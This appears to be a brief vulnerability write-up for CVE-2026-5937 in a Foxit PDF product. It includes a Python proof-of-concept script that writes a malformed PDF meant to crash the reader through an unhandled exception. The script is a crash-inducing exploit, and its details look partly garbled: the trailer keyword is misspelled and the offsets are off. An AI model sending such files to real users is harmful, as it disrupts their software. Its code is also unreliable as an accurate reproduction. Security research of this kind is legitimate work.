Insufficient parameter verification leads to the occurrence of format errors in files, which will trigger an unhandled "std::invalid_argument" exception, ultimately causing the program to terminate.
The following code is for security research and authorized testing only.
python
# PoC Concept for CVE-2026-5937
# This script generates a malformed file that may trigger the unhandled exception.
# Specific parameter logic requires reverse engineering of the target version.
def generate_malicious_file(filename):
# Simulating a file structure with invalid parameter format
# For example, injecting a string where an integer is expected
header = b'%PDF-1.7\n'
# Crafted object to trigger parsing error and std::invalid_argument
malicious_object = b'1 0 obj<</Type/Catalog/Pages 2 0 R/InvalidParam(NotANumber)>>endobj\n'
xref = b'xref\n0 2\n0000000000 65535 f \n0000000009 00000 n \n'
trailer = b'tailer<</Size 2/Root 1 0 R>>\nstartxref\n0\n%%EOF'
with open(filename, 'wb') as f:
f.write(header + malicious_object + xref + trailer)
print(f"[+] Malicious file generated: {filename}")
print("[+] Open this file with the vulnerable Foxit product to trigger the crash.")
if __name__ == "__main__":
generate_malicious_file('cve_2026_5937_poc.pdf')